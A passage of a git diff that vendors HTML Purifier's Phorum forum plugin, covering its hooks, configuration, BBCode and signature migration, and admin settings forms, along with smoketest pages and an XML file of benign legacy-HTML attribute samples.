+ * Ensure that our format hook is processed last. Also, loads the library.
+ * @credits <http://secretsauce.phorum.org/snippets/make_bbcode_last_formatter.php.txt>
+ */
+function phorum_htmlpurifier_common()
+{
+ require_once(dirname(__FILE__).'/htmlpurifier/HTMLPurifier.auto.php');
+ require(dirname(__FILE__).'/init-config.php');
+
+ $config = phorum_htmlpurifier_get_config();
+ HTMLPurifier::getInstance($config);
+
+ // increment revision.txt if you want to invalidate the cache
+ $GLOBALS['PHORUM']['mod_htmlpurifier']['body_cache_serial'] = $config->getSerial();
+
+ // load migration
+ if (file_exists(dirname(__FILE__) . '/migrate.php')) {
+ include(dirname(__FILE__) . '/migrate.php');
+ } else {
+ echo '<strong>Error:</strong> No migration path specified for HTML Purifier, please check
+ <tt>modes/htmlpurifier/migrate.bbcode.php</tt> for instructions on
+ how to migrate from your previous markup language.';
+ exit;
+ }
+
+ if (!function_exists('phorum_htmlpurifier_migrate')) {
+ // Dummy function
+ function phorum_htmlpurifier_migrate($data) {return $data;}
+ }
+
+}
+
+/**
+ * Pre-emptively performs purification if it looks like a WYSIWYG editor
+ * is being used
+ */
+function phorum_htmlpurifier_before_editor($message)
+{
+ if (!empty($GLOBALS['PHORUM']['mod_htmlpurifier']['wysiwyg'])) {
+ if (!empty($message['body'])) {
+ $body = $message['body'];
+ // de-entity-ize contents
+ $body = str_replace(array('&lt;','&gt;','&amp;'), array('<','>','&'), $body);
+ $purifier =& HTMLPurifier::getInstance();
+ $body = $purifier->purify($body);
+ // re-entity-ize contents
+ $body = htmlspecialchars($body, ENT_QUOTES, $GLOBALS['PHORUM']['DATA']['CHARSET']);
+ $message['body'] = $body;
+ }
+ }
+ return $message;
+}
+
+function phorum_htmlpurifier_editor_after_subject()
+{
+ // don't show this message if it's a WYSIWYG editor, since it will
+ // then be handled automatically
+ if (!empty($GLOBALS['PHORUM']['mod_htmlpurifier']['wysiwyg'])) {
+ $i = $GLOBALS['PHORUM']['DATA']['MODE'];
+ if ($i == 'quote' || $i == 'edit' || $i == 'moderation') {
+ ?>
+ <div>
+ <p>
+ <strong>Notice:</strong> HTML has been scrubbed for your safety.
+ If you would like to see the original, turn off WYSIWYG mode
+ (consult your administrator for details.)
+ </p>
+ </div>
+ <?php
+ }
+ return;
+ }
+ if (!empty($GLOBALS['PHORUM']['mod_htmlpurifier']['suppress_message'])) return;
+ ?><div class="htmlpurifier-help">
+ <p>
+ <strong>HTML input</strong> is enabled. Make sure you escape all HTML and
+ angled brackets with <code>&amp;lt;</code> and <code>&amp;gt;</code>.
+ </p><?php
+ $purifier =& HTMLPurifier::getInstance();
+ $config = $purifier->config;
+ if ($config->get('AutoFormat.AutoParagraph')) {
+ ?><p>
+ <strong>Auto-paragraphing</strong> is enabled. Double
+ newlines will be converted to paragraphs; for single
+ newlines, use the <code>pre</code> tag.
+ </p><?php
+ }
+ $html_definition = $config->getDefinition('HTML');
+ $allowed = array();
+ foreach ($html_definition->info as $name => $x) $allowed[] = "<code>$name</code>";
+ sort($allowed);
+ $allowed_text = implode(', ', $allowed);
+ ?><p><strong>Allowed tags:</strong> <?php
+ echo $allowed_text;
+ ?>.</p><?php
+ ?>
+ </p>
+ <p>
+ For inputting literal code such as HTML and PHP for display, use
+ CDATA tags to auto-escape your angled brackets, and <code>pre</code>
+ to preserve newlines:
+ </p>
+ <pre>&lt;pre&gt;&lt;![CDATA[
+<em>Place code here</em>
+]]&gt;&lt;/pre&gt;</pre>
+ <p>
+ Power users, you can hide this notice with:
+ <pre>.htmlpurifier-help {display:none;}</pre>
+ </p>
+ </div><?php
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/plugins/phorum/info.txt b/vendor/ezyang/htmlpurifier/plugins/phorum/info.txt
new file mode 100644
index 000000000..723465490
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/plugins/phorum/info.txt
@@ -0,0 +1,18 @@
+title: HTML Purifier Phorum Mod
+desc: This module enables standards-compliant HTML filtering on Phorum. Please check migrate.bbcode.php before enabling this mod.
+author: Edward Z. Yang
+url: http://htmlpurifier.org/
+version: 4.0.0
+
+hook: format|phorum_htmlpurifier_format
+hook: quote|phorum_htmlpurifier_quote
+hook: posting_custom_action|phorum_htmlpurifier_posting
+hook: common|phorum_htmlpurifier_common
+hook: before_editor|phorum_htmlpurifier_before_editor
+hook: tpl_editor_after_subject|phorum_htmlpurifier_editor_after_subject
+
+# This module is meant to be a drop-in for bbcode, so make it run last.
+priority: run module after *
+priority: run hook format after *
+
+ vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/plugins/phorum/init-config.php b/vendor/ezyang/htmlpurifier/plugins/phorum/init-config.php
new file mode 100644
index 000000000..e19787b4b
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/plugins/phorum/init-config.php
@@ -0,0 +1,30 @@
+<?php
+
+/**
+ * Initializes the appropriate configuration from either a PHP file
+ * or a module configuration value
+ * @return Instance of HTMLPurifier_Config
+ */
+function phorum_htmlpurifier_get_config($default = false)
+{
+ global $PHORUM;
+ $config_exists = phorum_htmlpurifier_config_file_exists();
+ if ($default || $config_exists || !isset($PHORUM['mod_htmlpurifier']['config'])) {
+ $config = HTMLPurifier_Config::createDefault();
+ include(dirname(__FILE__) . '/config.default.php');
+ if ($config_exists) {
+ include(dirname(__FILE__) . '/config.php');
+ }
+ unset($PHORUM['mod_htmlpurifier']['config']); // unnecessary
+ } else {
+ $config = HTMLPurifier_Config::create($PHORUM['mod_htmlpurifier']['config']);
+ }
+ return $config;
+}
+
+function phorum_htmlpurifier_config_file_exists()
+{
+ return file_exists(dirname(__FILE__) . '/config.php');
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/plugins/phorum/migrate.bbcode.php b/vendor/ezyang/htmlpurifier/plugins/phorum/migrate.bbcode.php
new file mode 100644
index 000000000..0d0919455
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/plugins/phorum/migrate.bbcode.php
@@ -0,0 +1,31 @@
+<?php
+
+/**
+ * This file is responsible for migrating from a specific markup language
+ * like BBCode or Markdown to HTML. WARNING: THIS PROCESS IS NOT REVERSIBLE
+ *
+ * Copy this file to 'migrate.php' and it will automatically work for
+ * BBCode; you may need to tweak this a little to get it to work for other
+ * languages (usually, just replace the include name and the function name).
+ *
+ * If you do NOT want to have any migration performed (for instance, you
+ * are installing the module on a new forum with no posts), simply remove
+ * phorum_htmlpurifier_migrate() function. You still need migrate.php
+ * present, otherwise the module won't work. This ensures that the user
+ * explicitly says, "No, I do not need to migrate."
+ */
+
+if(!defined("PHORUM")) exit;
+
+require_once(dirname(__FILE__) . "/../bbcode/bbcode.php");
+
+/**
+ * 'format' hook style function that will be called to convert
+ * legacy markup into HTML.
+ */
+function phorum_htmlpurifier_migrate($data)
+{
+ return phorum_mod_bbcode_format($data); // bbcode's 'format' hook
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/plugins/phorum/settings.php b/vendor/ezyang/htmlpurifier/plugins/phorum/settings.php
new file mode 100644
index 000000000..8158f0282
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/plugins/phorum/settings.php
@@ -0,0 +1,64 @@
+<?php
+
+// based off of BBCode's settings file
+
+/**
+ * HTML Purifier Phorum mod settings configuration. This provides
+ * a convenient web-interface for editing the most common HTML Purifier
+ * configuration directives. You can also specify custom configuration
+ * by creating a 'config.php' file.
+ */
+
+if(!defined("PHORUM_ADMIN")) exit;
+
+// error reporting is good!
+error_reporting(E_ALL ^ E_NOTICE);
+
+// load library and other paraphenalia
+require_once './include/admin/PhorumInputForm.php';
+require_once (dirname(__FILE__) . '/htmlpurifier/HTMLPurifier.auto.php');
+require_once (dirname(__FILE__) . '/init-config.php');
+require_once (dirname(__FILE__) . '/settings/migrate-sigs-form.php');
+require_once (dirname(__FILE__) . '/settings/migrate-sigs.php');
+require_once (dirname(__FILE__) . '/settings/form.php');
+require_once (dirname(__FILE__) . '/settings/save.php');
+
+// define friendly configuration directives. you can expand this array
+// to get more web-definable directives
+$PHORUM['mod_htmlpurifier']['directives'] = array(
+ 'URI.Host', // auto-detectable
+ 'URI.DisableExternal',
+ 'URI.DisableExternalResources',
+ 'URI.DisableResources',
+ 'URI.Munge',
+ 'URI.HostBlacklist',
+ 'URI.Disable',
+ 'HTML.TidyLevel',
+ 'HTML.Doctype', // auto-detectable
+ 'HTML.Allowed',
+ 'AutoFormat',
+ '-AutoFormat.Custom',
+ 'AutoFormatParam',
+ 'Output.TidyFormat',
+);
+
+// lower this setting if you're getting time outs/out of memory
+$PHORUM['mod_htmlpurifier']['migrate-sigs-increment'] = 100;
+
+if (isset($_POST['reset'])) {
+ unset($PHORUM['mod_htmlpurifier']['config']);
+}
+
+if ($offset = phorum_htmlpurifier_migrate_sigs_check()) {
+ // migrate signatures
+ phorum_htmlpurifier_migrate_sigs($offset);
+} elseif(!empty($_POST)){
+ // save settings
+ phorum_htmlpurifier_save_settings();
+}
+
+phorum_htmlpurifier_show_migrate_sigs_form();
+echo '<br />';
+phorum_htmlpurifier_show_form();
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/plugins/phorum/settings/form.php b/vendor/ezyang/htmlpurifier/plugins/phorum/settings/form.php
new file mode 100644
index 000000000..9b6ad5f39
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/plugins/phorum/settings/form.php
@@ -0,0 +1,95 @@
+<?php
+
+function phorum_htmlpurifier_show_form()
+{
+ if (phorum_htmlpurifier_config_file_exists()) {
+ phorum_htmlpurifier_show_config_info();
+ return;
+ }
+
+ global $PHORUM;
+
+ $config = phorum_htmlpurifier_get_config();
+
+ $frm = new PhorumInputForm ("", "post", "Save");
+ $frm->hidden("module", "modsettings");
+ $frm->hidden("mod", "htmlpurifier"); // this is the directory name that the Settings file lives in
+
+ if (!empty($error)){
+ echo "$error<br />";
+ }
+
+ $frm->addbreak("Edit settings for the HTML Purifier module");
+
+ $frm->addMessage('<p>The box below sets <code>$PHORUM[\'mod_htmlpurifier\'][\'wysiwyg\']</code>.
+ When checked, contents sent for edit are now purified and the
+ informative message is disabled. If your WYSIWYG editor is disabled for
+ admin edits, you can safely keep this unchecked.</p>');
+ $frm->addRow('Use WYSIWYG?', $frm->checkbox('wysiwyg', '1', '', $PHORUM['mod_htmlpurifier']['wysiwyg']));
+
+ $frm->addMessage('<p>The box below sets <code>$PHORUM[\'mod_htmlpurifier\'][\'suppress_message\']</code>,
+ which removes the big how-to use
+ HTML Purifier message.</p>');
+ $frm->addRow('Suppress information?', $frm->checkbox('suppress_message', '1', '', $PHORUM['mod_htmlpurifier']['suppress_message']));
+
+ $frm->addMessage('<p>Click on directive links to read what each option does
+ (links do not open in new windows).</p>
+ <p>For more flexibility (for instance, you want to edit the full
+ range of configuration directives), you can create a <tt>config.php</tt>
+ file in your <tt>mods/htmlpurifier/</tt> directory. Doing so will,
+ however, make the web configuration interface unavailable.</p>');
+
+ require_once 'HTMLPurifier/Printer/ConfigForm.php';
+ $htmlpurifier_form = new HTMLPurifier_Printer_ConfigForm('config', 'http://htmlpurifier.org/live/configdoc/plain.html#%s');
+ $htmlpurifier_form->setTextareaDimensions(23, 7); // widen a little, since we have space
+
+ $frm->addMessage($htmlpurifier_form->render(
+ $config, $PHORUM['mod_htmlpurifier']['directives'], false));
+
+ $frm->addMessage("<strong>Warning: Changing HTML Purifier's configuration will invalidate
+ the cache. Expect to see a flurry of database activity after you change
+ any of these settings.</strong>");
+
+ $frm->addrow('Reset to defaults:', $frm->checkbox("reset", "1", "", false));
+
+ // hack to include extra styling
+ echo '<style type="text/css">' . $htmlpurifier_form->getCSS() . '
+ .hp-config {margin-left:auto;margin-right:auto;}
+ </style>';
+ $js = $htmlpurifier_form->getJavaScript();
+ echo '<script type="text/javascript">'."<!--\n$js\n//-->".'</script>';
+
+ $frm->show();
+}
+
+function phorum_htmlpurifier_show_config_info()
+{
+ global $PHORUM;
+
+ // update mod_htmlpurifier for housekeeping
+ phorum_htmlpurifier_commit_settings();
+
+ // politely tell user how to edit settings manually
+?>
+ <div class="input-form-td-break">How to edit settings for HTML Purifier module</div>
+ <p>
+ A <tt>config.php</tt> file exists in your <tt>mods/htmlpurifier/</tt>
+ directory. This file contains your custom configuration: in order to
+ change it, please navigate to that file and edit it accordingly.
+ You can also set <code>$GLOBALS['PHORUM']['mod_htmlpurifier']['wysiwyg']</code>
+ or <code>$GLOBALS['PHORUM']['mod_htmlpurifier']['suppress_message']</code>
+ </p>
+ <p>
+ To use the web interface, delete <tt>config.php</tt> (or rename it to
+ <tt>config.php.bak</tt>).
+ </p>
+ <p>
+ <strong>Warning: Changing HTML Purifier's configuration will invalidate
+ the cache. Expect to see a flurry of database activity after you change
+ any of these settings.</strong>
+ </p>
+<?php
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/plugins/phorum/settings/migrate-sigs-form.php b/vendor/ezyang/htmlpurifier/plugins/phorum/settings/migrate-sigs-form.php
new file mode 100644
index 000000000..abea3b51d
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/plugins/phorum/settings/migrate-sigs-form.php
@@ -0,0 +1,22 @@
+<?php
+
+function phorum_htmlpurifier_show_migrate_sigs_form()
+{
+ $frm = new PhorumInputForm ('', "post", "Migrate");
+ $frm->hidden("module", "modsettings");
+ $frm->hidden("mod", "htmlpurifier");
+ $frm->hidden("migrate-sigs", "1");
+ $frm->addbreak("Migrate user signatures to HTML");
+ $frm->addMessage('This operation will migrate your users signatures
+ to HTML. <strong>This process is irreversible and must only be performed once.</strong>
+ Type in yes in the confirmation field to migrate.');
+ if (!file_exists(dirname(__FILE__) . '/../migrate.php')) {
+ $frm->addMessage('Migration file does not exist, cannot migrate signatures.
+ Please check <tt>migrate.bbcode.php</tt> on how to create an appropriate file.');
+ } else {
+ $frm->addrow('Confirm:', $frm->text_box("confirmation", ""));
+ }
+ $frm->show();
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/plugins/phorum/settings/migrate-sigs.php b/vendor/ezyang/htmlpurifier/plugins/phorum/settings/migrate-sigs.php
new file mode 100644
index 000000000..5ea9cd0b8
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/plugins/phorum/settings/migrate-sigs.php
@@ -0,0 +1,79 @@
+<?php
+
+function phorum_htmlpurifier_migrate_sigs_check()
+{
+ global $PHORUM;
+ $offset = 0;
+ if (!empty($_POST['migrate-sigs'])) {
+ if (!isset($_POST['confirmation']) || strtolower($_POST['confirmation']) !== 'yes') {
+ echo 'Invalid confirmation code.';
+ exit;
+ }
+ $PHORUM['mod_htmlpurifier']['migrate-sigs'] = true;
+ phorum_db_update_settings(array("mod_htmlpurifier"=>$PHORUM["mod_htmlpurifier"]));
+ $offset = 1;
+ } elseif (!empty($_GET['migrate-sigs']) && $PHORUM['mod_htmlpurifier']['migrate-sigs']) {
+ $offset = (int) $_GET['migrate-sigs'];
+ }
+ return $offset;
+}
+
+function phorum_htmlpurifier_migrate_sigs($offset)
+{
+ global $PHORUM;
+
+ if(!$offset) return; // bail out quick if $offset == 0
+
+ // theoretically, we could get rid of this multi-request
+ // doo-hickery if safe mode is off
+ @set_time_limit(0); // attempt to let this run
+ $increment = $PHORUM['mod_htmlpurifier']['migrate-sigs-increment'];
+
+ require_once(dirname(__FILE__) . '/../migrate.php');
+ // migrate signatures
+ // do this in batches so we don't run out of time/space
+ $end = $offset + $increment;
+ $user_ids = array();
+ for ($i = $offset; $i < $end; $i++) {
+ $user_ids[] = $i;
+ }
+ $userinfos = phorum_db_user_get_fields($user_ids, 'signature');
+ foreach ($userinfos as $i => $user) {
+ if (empty($user['signature'])) continue;
+ $sig = $user['signature'];
+ // perform standard Phorum processing on the sig
+ $sig = str_replace(array("&","<",">"), array("&amp;","&lt;","&gt;"), $sig);
+ $sig = preg_replace("/<((http|https|ftp):\/\/[a-z0-9;\/\?:@=\&\$\-_\.\+!*'\(\),~%]+?)>/i", "$1", $sig);
+ // prepare fake data to pass to migration function
+ $fake_data = array(array("author"=>"", "email"=>"", "subject"=>"", 'body' => $sig));
+ list($fake_message) = phorum_htmlpurifier_migrate($fake_data);
+ $user['signature'] = $fake_message['body'];
+ if (!phorum_api_user_save($user)) {
+ exit('Error while saving user data');
+ }
+ }
+ unset($userinfos); // free up memory
+
+ // query for highest ID in database
+ $type = $PHORUM['DBCONFIG']['type'];
+ $sql = "select MAX(user_id) from {$PHORUM['user_table']}";
+ $row = phorum_db_interact(DB_RETURN_ROW, $sql);
+ $top_id = (int) $row[0];
+
+ $offset += $increment;
+ if ($offset > $top_id) { // test for end condition
+ echo 'Migration finished';
+ $PHORUM['mod_htmlpurifier']['migrate-sigs'] = false;
+ phorum_htmlpurifier_commit_settings();
+ return true;
+ }
+ $host = $_SERVER['HTTP_HOST'];
+ $uri = rtrim(dirname($_SERVER['PHP_SELF']), '/\\');
+ $extra = 'admin.php?module=modsettings&mod=htmlpurifier&migrate-sigs=' . $offset;
+ // relies on output buffering to work
+ header("Location: http://$host$uri/$extra");
+ exit;
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/plugins/phorum/settings/save.php b/vendor/ezyang/htmlpurifier/plugins/phorum/settings/save.php
new file mode 100644
index 000000000..2aefaf83a
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/plugins/phorum/settings/save.php
@@ -0,0 +1,29 @@
+<?php
+
+function phorum_htmlpurifier_save_settings()
+{
+ global $PHORUM;
+ if (phorum_htmlpurifier_config_file_exists()) {
+ echo "Cannot update settings, <code>mods/htmlpurifier/config.php</code> already exists. To change
+ settings, edit that file. To use the web form, delete that file.<br />";
+ } else {
+ $config = phorum_htmlpurifier_get_config(true);
+ if (!isset($_POST['reset'])) $config->mergeArrayFromForm($_POST, 'config', $PHORUM['mod_htmlpurifier']['directives']);
+ $PHORUM['mod_htmlpurifier']['config'] = $config->getAll();
+ }
+ $PHORUM['mod_htmlpurifier']['wysiwyg'] = !empty($_POST['wysiwyg']);
+ $PHORUM['mod_htmlpurifier']['suppress_message'] = !empty($_POST['suppress_message']);
+ if(!phorum_htmlpurifier_commit_settings()){
+ $error="Database error while updating settings.";
+ } else {
+ echo "Settings Updated<br />";
+ }
+}
+
+function phorum_htmlpurifier_commit_settings()
+{
+ global $PHORUM;
+ return phorum_db_update_settings(array("mod_htmlpurifier"=>$PHORUM["mod_htmlpurifier"]));
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/smoketests/all.php b/vendor/ezyang/htmlpurifier/smoketests/all.php
new file mode 100644
index 000000000..507034b93
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/smoketests/all.php
@@ -0,0 +1,44 @@
+<?php
+
+require_once 'common.php';
+
+header('Content-type: text/html; charset=UTF-8');
+echo '<?xml version="1.0" encoding="UTF-8" ?>';
+
+?><!DOCTYPE html
+ PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+ "http://www.w3.org/TR/xhtml1/DTD/xhtml1-loose.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+ <title>HTML Purifier: All Smoketests</title>
+ <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+ <style type="text/css">
+ #content {margin:5em;}
+ iframe {width:100%;height:30em;}
+ </style>
+</head>
+<body>
+<h1>HTML Purifier: All Smoketests</h1>
+<div id="content">
+<?php
+
+$dir = './';
+$dh = opendir($dir);
+while (false !== ($filename = readdir($dh))) {
+ if ($filename[0] == '.') continue;
+ if (strpos($filename, '.php') === false) continue;
+ if ($filename == 'common.php') continue;
+ if ($filename == 'all.php') continue;
+ if ($filename == 'testSchema.php') continue;
+ ?>
+ <iframe src="<?php echo escapeHTML($filename); if (isset($_GET['standalone'])) {echo '?standalone';} ?>"></iframe>
+ <?php
+}
+
+?>
+</div>
+</body>
+</html>
+<?php
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/smoketests/attrTransform.php b/vendor/ezyang/htmlpurifier/smoketests/attrTransform.php
new file mode 100644
index 000000000..2dfda7f4a
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/smoketests/attrTransform.php
@@ -0,0 +1,72 @@
+<?php
+
+require 'common.php';
+
+?><!DOCTYPE html
+ PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+ "http://www.w3.org/TR/xhtml1/DTD/xhtml1-loose.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+ <title>HTML Purifier Attribute Transformation Smoketest</title>
+ <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+ <style type="text/css">
+ div.container {position:relative;height:120px;border:1px solid #CCC;
+ margin-bottom:1em; width:225px; float:left; margin-top:1em;
+ margin-right:1em;}
+ h2 {clear:left;margin-bottom:0;}
+ div.container.legend .test {text-align:center;line-height:100px;}
+ div.test {width:100px;height:100px;border:1px solid black;
+ position:absolute;top:10px;overflow:auto;}
+ div.test.html {left:10px;border-right:none;background:#FCC;}
+ div.test.css {left:110px;background:#CFC;}
+ img.marked {border:1px solid #000;background:#FFF;}
+ table.bright {background-color:#F00;}
+ hr.short {width:50px;}
+ </style>
+</head>
+<body>
+<h1>HTML Purifier Attribute Transformation Smoketest</h1>
+<div class="container legend">
+<div class="test html">
+ HTML
+</div>
+<div class="test css">
+ CSS
+</div>
+</div>
+<?php
+
+if (version_compare(PHP_VERSION, '5', '<')) exit('<p>Requires PHP 5.</p>');
+
+$xml = simplexml_load_file('attrTransform.xml');
+
+// attr transform enabled HTML Purifier
+$config = HTMLPurifier_Config::createDefault();
+$config->set('HTML.Doctype', 'XHTML 1.0 Strict');
+$purifier = new HTMLPurifier($config);
+
+$title = isset($_GET['title']) ? $_GET['title'] : true;
+
+foreach ($xml->group as $group) {
+ echo '<h2>' . $group['title'] . '</h2>';
+ foreach ($group->sample as $sample) {
+ $sample = (string) $sample;
+?>
+<div class="container">
+<div class="test html">
+ <?php echo $sample; ?>
+</div>
+<div class="test css">
+ <?php echo $purifier->purify($sample); ?>
+</div>
+</div>
+<?php
+ }
+}
+
+?>
+</body>
+</html>
+<?php
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/smoketests/attrTransform.xml b/vendor/ezyang/htmlpurifier/smoketests/attrTransform.xml
new file mode 100644
index 000000000..8272f4ac7
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/smoketests/attrTransform.xml
@@ -0,0 +1,192 @@
+<?xml version="1.0"?>
+<samples>
+ <group title="menu,dir">
+ <sample><![CDATA[<menu><li>menu</li></menu>]]></sample>
+ <sample><![CDATA[<dir><li>dir</li></dir>]]></sample>
+ </group>
+ <group title="font">
+ <sample><![CDATA[<font color="red">Red</font>]]></sample>
+ <sample><![CDATA[<font color="#0000FF">#0000FF</font>]]></sample>
+ <sample><![CDATA[<font face="Arial">Arial</font>]]></sample>
+ </group>
+ <group title="font.size">
+ <sample><![CDATA[<font size="-2">-2</font>]]></sample>
+ <sample><![CDATA[<font size="-1">-1</font>]]></sample>
+ <sample><![CDATA[<font size="0">0</font>]]></sample>
+ <sample><![CDATA[<font size="1">1</font>]]></sample>
+ <sample><![CDATA[<font size="2">2</font>]]></sample>
+ <sample><![CDATA[<font size="3">3</font>]]></sample>
+ <sample><![CDATA[<font size="4">4</font>]]></sample>
+ <sample><![CDATA[<font size="5">5</font>]]></sample>
+ <sample><![CDATA[<font size="6">6</font>]]></sample>
+ <sample><![CDATA[<font size="7">7</font>]]></sample>
+ <sample><![CDATA[<font size="8">8</font>]]></sample>
+ <sample><![CDATA[<font size="+1">+1</font>]]></sample>
+ <sample><![CDATA[<font size="+2">+2</font>]]></sample>
+ <sample><![CDATA[<font size="+3">+3</font>]]></sample>
+ <sample><![CDATA[<font size="+4">+4</font>]]></sample>
+ <sample><![CDATA[<font size="+5">+5</font>]]></sample>
+ </group>
+ <group title="center">
+ <sample><![CDATA[<center>Centered</center>]]></sample>
+ </group>
+ <group title="p.align">
+ <sample><![CDATA[<p align="left">Left</p>]]></sample>
+ <sample><![CDATA[<p align="center">Center</p>]]></sample>
+ <sample><![CDATA[<p align="right">Right</p>]]></sample>
+ </group>
+ <group title="table.bgcolor">
+ <sample><![CDATA[
+ <table bgcolor="black" cellspacing="2" cellpadding="2" border="1">
+ <tr bgcolor="red">
+ <th bgcolor="green">To</th>
+ <td bgcolor="blue">Be</td>
+ </tr>
+ <tr>
+ <th bgcolor="green">Or</th>
+ <td>Not</td>
+ </tr>
+ <tr bgcolor="red">
+ <th>To</th>
+ <td>Be</td>
+ </tr>
+ </table>
+ ]]></sample>
+ <sample><![CDATA[
+ <table class="bright" bgcolor="black" cellspacing="2" cellpadding="2" border="1">
+ <tr>
+ <th bgcolor="green">Or</th>
+ <td>Not</td>
+ </tr>
+ <tr bgcolor="blue">
+ <th bgcolor="green">To</th>
+ <td>Be</td>
+ </tr>
+ </table>
+ ]]></sample>
+ </group>
+ <group title="img.border">
+ <sample><![CDATA[<img src="img.png" alt="I" border="2" />]]></sample>
+ <sample><![CDATA[<a href="http://example.com/"><img src="img.png" alt="I" border="2" /></a>]]></sample>
+ </group>
+ <group title="td,th,hr.width">
+ <sample><![CDATA[
+ <table border="1">
+ <tr>
+ <th width="20">x1</th>
+ <td width="40">x2</td>
+ </tr>
+ </table>
+ ]]></sample>
+ <sample><![CDATA[
+ <table border="1">
+ <tr>
+ <th width="33%">x1</th>
+ <td width="67%">x2</td>
+ </tr>
+ </table>
+ ]]></sample>
+ <sample><![CDATA[<hr width="70%" /><hr width="30" />]]></sample>
+ </group>
+ <group title="td,th.nowrap">
+ <sample><![CDATA[
+ <table border="1">
+ <tr>
+ <th>This wants to wrap</th>
+ <td>really badly yes it does</td>
+ </tr>
+ </table>
+ ]]></sample>
+ <sample><![CDATA[
+ <table border="1">
+ <tr>
+ <th nowrap>This wants to wrap</th>
+ <td nowrap>really badly yes it does</td>
+ </tr>
+ </table>
+ ]]></sample>
+ </group>
+ <group title="td,th.height">
+ <sample><![CDATA[<table border="1"><tr><td height="60">tall</td></tr></table>]]></sample>
+ </group>
+ <group title="img.vspace,hspace">
+ <sample><![CDATA[a<img src="img.png" alt="I" class="marked" hspace="7" />a]]></sample>
+ <sample><![CDATA[<img src="img.png" alt="I" class="marked" vspace="7" /><br />o]]></sample>
+ </group>
+ <group title="hr">
+ <sample><![CDATA[<hr size="4" />]]></sample>
+ <sample><![CDATA[<hr size="50" noshade />]]></sample>
+ </group>
+ <group title="br.clear">
+ <sample><![CDATA[<img src="img.png" alt="I" align="right" />B<br />A]]></sample>
+ <sample><![CDATA[<img src="img.png" alt="I" align="right" />B<br clear="right" />A]]></sample>
+ <sample><![CDATA[<img src="img.png" alt="I" align="right" /><img src="img.png" alt="I" align="left" />B<br />A]]></sample>
+ <sample><![CDATA[<img src="img.png" alt="I" align="right" /><img src="img.png" alt="I" align="left" />B<br clear="all" />A]]></sample>
+ </group>
+ <group title="caption.align">
+ <sample><![CDATA[
+ <table border="1">
+ <caption align="left">Left</caption>
+ <tr><td>1.1</td><td>1.2</td></tr>
+ </table>
+ ]]></sample>
+ <sample><![CDATA[
+ <table border="1">
+ <caption align="right">Right</caption>
+ <tr><td>1.1</td><td>1.2</td></tr>
+ </table>
+ ]]></sample>
+ <sample><![CDATA[
+ <table border="1">
+ <caption align="top">Top</caption>
+ <tr><td>1.1</td><td>1.2</td></tr>
+ </table>
+ ]]></sample>
+ <sample><![CDATA[
+ <table border="1">
+ <caption align="bottom">Bottom</caption>
+ <tr><td>1.1</td><td>1.2</td></tr>
+ </table>
+ ]]></sample>
+ </group>
+ <group title="img.align">
+ <sample><![CDATA[left<img src="img.png" alt="I" class="marked" align="left" />]]></sample>
+ <sample><![CDATA[right<img src="img.png" alt="I" class="marked" align="right" />]]></sample>
+ <sample><![CDATA[o<img src="img.png" alt="I" class="marked" align="top" /> top]]></sample>
+ <sample><![CDATA[o<img src="img.png" alt="I" class="marked" align="bottom" /> bottom]]></sample>
+ <sample><![CDATA[o<img src="img.png" alt="I" class="marked" align="middle" /> middle]]></sample>
+ </group>
+ <group title="table.align">
+ <sample><![CDATA[a<table align="left" class="bright"><tr><td>left</td></tr></table>a]]></sample>
+ <sample><![CDATA[a<table align="center" class="bright"><tr><td>center</td></tr></table>a]]></sample>
+ <sample><![CDATA[a<table align="right" class="bright"><tr><td>right</td></tr></table>a]]></sample>
+ </group>
+ <group title="hr.align">
+ <sample><![CDATA[<hr align="left" class="short" />left]]></sample>
+ <sample><![CDATA[<hr align="center" class="short" />center]]></sample>
+ <sample><![CDATA[<hr align="right" class="short" />right]]></sample>
+ </group>
+ <group title="ul,ol,li.type">
+ <sample><![CDATA[<ul type="disc"><li>1</li><li>2</li></ul>]]></sample>
+ <sample><![CDATA[<ul type="square"><li>1</li><li>2</li></ul>]]></sample>
+ <sample><![CDATA[<ul type="circle"><li>1</li><li>2</li></ul>]]></sample>
+ <sample><![CDATA[<ol type="a"><li>1</li><li>2</li></ul>]]></sample>
+ <sample><![CDATA[<ol type="A"><li>1</li><li>2</li></ul>]]></sample>
+ <sample><![CDATA[<ol type="i"><li>1</li><li>2</li></ul>]]></sample>
+ <sample><![CDATA[<ol type="I"><li>1</li><li>2</li></ul>]]></sample>
+ <sample><![CDATA[<ol type="1"><li>1</li><li>2</li></ul>]]></sample>
+ <sample><![CDATA[<ol><li type="a">1</li><li type="I">2</li></ul>]]></sample>
+ </group>
+
+
+ <!-- sample
+ <group title="">
+ <sample><![CDATA[]]></sample>
+ <sample><![CDATA[]]></sample>
